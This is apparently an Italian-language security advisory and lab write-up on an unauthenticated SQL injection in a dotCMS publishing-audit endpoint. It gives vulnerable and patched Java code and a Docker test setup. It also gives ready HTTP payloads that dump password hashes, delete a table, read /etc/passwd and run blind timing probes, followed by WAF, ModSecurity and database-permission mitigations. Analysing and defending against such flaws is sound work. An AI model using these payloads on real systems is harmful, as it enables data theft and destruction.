@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {

    @POST
    @Path("/getAll")
    @Produces(MediaType.APPLICATION_JSON)
    public Response getAll(List<String> bundleIds) {
        // 【Punto vulnerabile】 Nessun controllo di autenticazione! Chiamata diretta all'API backend
        try {
            final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
            // ...
        }
    }
}

@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
        throws DotPublisherException {
    try {
        final List<PublishAuditStatus> result = new ArrayList<>();

        DotConnect dc = new DotConnect();

        // 【Punto vulnerabile 1】 Input dell'utente concatenato direttamente nell'istruzione SQL
        // Vengono solo aggiunte virgolette singole, nessuna parametrizzazione o escaping
        final List<String> parameter = bundleIds.stream()
            .map(id -> "'" + id + "'")  // Pericoloso: concatenazione di stringhe
            .collect(Collectors.toList());

        // 【Punto vulnerabile 2】 Uso di String.format per costruire SQL, input utente incorporato direttamente
        dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
            String.join(",", parameter)));

        List<Map<String, Object>> items = dc.loadObjectResults();

        for(Map<String, Object> item: items) {
            result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
        }

        return result;
    } catch(Exception e) {
        Logger.debug(PublisherUtil.class, e.getMessage(), e);
        throw new DotPublisherException("Impossibile ottenere l'elenco degli elementi con errore:" + e.getMessage(), e);
    }
}

SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)

SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')

SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')

POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]

POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x'; DELETE FROM publishing_queue_audit; --"]

POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"]

services:
  dotcms:
    build: .
    container_name: dotcms-vuln
    ports:
      - "8080:8080"
      - "8443:8443"
    environment:
      - DOT_INITIAL_ADMIN_PASSWORD=admin
      - DOT_DOTCMS_URL=http://localhost:8080
      - DOT_DB_HOST=dotcms-db
      - DOT_DB_PORT=5432
      - DOT_DB_NAME=dotcms
      - DOT_DB_USERNAME=dotcms
      - DOT_DB_PASSWORD=dotcms
      - DOT_DB_BASE_URL=jdbc:postgresql://dotcms-db:5432/dotcms
      - DOT_DB_DRIVER=org.postgresql.Driver
      - DOT_ES_ENDPOINTS=http://dotcms-es:9200
      - DOT_ES_HOSTNAME=dotcms-es
    depends_on:
      dotcms-db:
        condition: service_healthy
      dotcms-es:
        condition: service_started

  dotcms-db:
    image: postgres:15
    environment:
      - POSTGRES_DB=dotcms
      - POSTGRES_USER=dotcms
      - POSTGRES_PASSWORD=dotcms
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U dotcms"]
      interval: 5s
      timeout: 5s
      retries: 20

  dotcms-es:
    image: elasticsearch:7.17.24
    environment:
      - discovery.type=single-node
      - xpack.security.enabled=false
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"

FROM dotcms/dotcms:25.11.04-1

docker compose up -d
# Attendere il completamento dell'inizializzazione di dotCMS (circa 2-3 minuti)
# Controllare lo stato: docker compose logs -f dotcms

POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 11

["test-id"]

POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=1--'"]

POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=2--'"]

-- Condizione vera: bundle_id corrisponde E 1=1 è vero -> restituisce dati -> codice gestisce NPE -> 404
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=1--'')

-- Condizione falsa: bundle_id corrisponde MA 1=2 è falso -> non restituisce dati -> risultato vuoto gestito normalmente -> 200
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=2--'')

POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(3))::text='t'--'"]

POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(5))::text='t'--'"]

select * from publishing_queue_audit where bundle_id in ('x') and (SELECT pg_sleep(3))::text='t'--'')

final List<String> parameter = bundleIds.stream()
    .map(id -> "'" + id + "'")
    .collect(Collectors.toList());
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, String.join(",", parameter)));

// Nuovo: controllo valore null
if (bundleIds == null || bundleIds.isEmpty()) {
    return Collections.emptyList();
}

// Uso di placeholder per query parametrizzata
final String placeholders = bundleIds.stream()
    .map(id -> "?")
    .collect(Collectors.joining(","));

dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, placeholders));
bundleIds.forEach(dc::addParam);  // Binding parametri, previene SQL injection

public Response getAll(List<String> bundleIds) {
    // Nessun controllo autenticazione
    try {
        final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);

public Response getAll(final List<String> bundleIds,
                       @Context final HttpServletRequest request) {

    // Nuovo: controllo autenticazione Push Publish Token
    final AuthCredentialPushPublishUtil.PushPublishAuthenticationToken ppAuthToken =
            AuthCredentialPushPublishUtil.INSTANCE.processAuthHeader(request);

    final Optional<Response> failResponse = PushPublishResourceUtil.getFailResponse(request, ppAuthToken);

    if (failResponse.isPresent()) {
        return failResponse.get();  // Restituisce 401 Unauthorized
    }
    // ...
}

# /etc/nginx/conf.d/dotcms-security.conf

# Blocca le richieste a Publish Audit API
location ~ ^/api/auditPublishing/(get|getAll) {
    # Restituisce 403 accesso negato
    return 403 "Accesso negato: endpoint bloccato per motivi di sicurezza";
    add_header Content-Type text/plain;
}

# Oppure usa un approccio più permissivo, consentendo solo traffico interno
location ~ ^/api/auditPublishing/(get|getAll) {
    # Consenti subnet interne
    allow 10.0.0.0/8;
    allow 172.16.0.0/12;
    allow 192.168.0.0/16;
    # Nega tutte le altre origini
    deny all;
}

# Regole WAF contro caratteristiche SQL injection
location / {
    # Rileva pattern comuni di SQL injection
    if ($request_uri ~* "(union|select|insert|update|delete|drop|--)") {
        return 403;
    }

    # Rileva iniezione con virgoletta singola
    if ($request_uri ~* "'") {
        return 403;
    }

    proxy_pass http://dotcms_backend;
}

# /etc/modsecurity/rules/dotcms-cve-2026-8054.conf

# Regola 1: Blocca l'accesso agli endpoint vulnerabili
SecRule REQUEST_URI "@rx /api/auditPublishing/(get|getAll)" \
    "id:2026805401,phase:1,deny,status:403,msg:'CVE-2026-8054: Accesso bloccato a endpoint dotCMS vulnerabile'"

# Regola 2: Rileva caratteristiche SQL injection
SecRule REQUEST_BODY "@rx (?i:(union|select|insert|update|delete|drop|exec|--)".*?(from|into|table))" \
    "id:2026805402,phase:2,deny,status:403,msg:'CVE-2026-8054: Tentativo di SQL injection rilevato'"

-- Esempio di limitazione permessi PostgreSQL
-- Crea utente limitato
CREATE USER dotcms_restricted WITH PASSWORD 'password_sicura';

-- Concedi solo permessi necessari sulle tabelle
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO dotcms_restricted;

-- Vieta creazione/eliminazione tabelle
REVOKE CREATE ON SCHEMA public FROM dotcms_restricted;

-- Vieta esecuzione comandi di sistema
REVOKE ALL ON FUNCTION pg_exec FROM dotcms_restricted;

-- Vieta lettura file
REVOKE ALL ON FUNCTION pg_read_file FROM dotcms_restricted;

# Usa iptables per limitare l'accesso alle porte API
# Consenti solo traffico interno sulla porta 8080
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 172.16.0.0/12 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 192.168.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP

graph TD
    subgraph Riepilogo vulnerabilità
        subgraph Analisi causa radice
            A[Mancata validazione input<br/>Input utente concatenato direttamente in SQL]
            B[Mancata autenticazione<br/>API accessibile senza autenticazione]
            C[Mancata parametrizzazione<br/>Concatenazione stringhe invece di query parametrizzate]
        end

        subgraph Valutazione CVSS
            D[CVSS 10.0<br/>Critical]
            E[Remoto di rete]
            F[Bassa complessità]
            G[Nessuna autenticazione]
        end

        subgraph Suggerimenti correzione
            H[P0: Aggiornamento immediato<br/>26.04.28-03]
            I[P1: Blocco WAF<br/>Mitigazione temporanea]
            J[P2: Permessi database<br/>Ridurre impatto]
        end
    end

    A -->|Porta a| D
    B -->|Porta a| D
    C -->|Porta a| D

    H -->|Risolve| A
    H -->|Risolve| B
    H -->|Risolve| C

    I -.->|Sostituto temporaneo| H
    J -.->|Riduce rischio| H

    style D fill:#ff6b6b,stroke:#333,color:#fff
    style H fill:#51cf66,stroke:#333

    note1[Vettore d'attacco: Network<br/>Complessità attacco: Low<br/>Privilegi richiesti: None<br/>Interazione utente: None]